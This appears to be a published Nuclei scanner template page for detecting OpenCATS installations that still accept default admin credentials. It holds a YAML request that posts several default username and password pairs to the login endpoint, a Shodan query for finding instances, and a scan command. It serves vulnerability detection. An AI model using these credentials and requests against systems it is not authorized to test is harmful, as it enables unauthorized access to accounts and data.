OpenCATS - Default Login

ID: opencats-default-login

Severity: high

Author: arafatansari

Tags: default-login,opencats

Description

OpenCATS contains a default admin login vulnerability. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.

YAML Source

id: opencats-default-login

info:
  name: OpenCATS - Default Login
  author: arafatansari
  severity: high
  description: OpenCATS contains a default admin login vulnerability. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
    cpe: cpe:2.3:a:opencats:opencats:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    shodan-query: title:"opencats"
    product: opencats
    vendor: opencats
  tags: default-login,opencats

http:
  - raw:
      - |
        POST /index.php?m=login&a=attemptLogin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}

    attack: pitchfork
    payloads:
      username:
        - admin
        - cats@rootadmin
        - [email protected]
        - username
      password:
        - admin
        - cats
        - password
        - john99
    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '<title>OpenCATS - Home</title>'
          - 'CATS Administrator'
          - 'Dashboard'
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100fb668bc9d52ef02b9a146bf8cf8d2633dd437c330e3a86975ec3d0322638c9b9022100bad7ae85a662fc336b5e53a97759c843b964111b4c1bbf94aaf099c49cc958c9:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/default-logins/others/opencats-default-login.yaml"

View on Github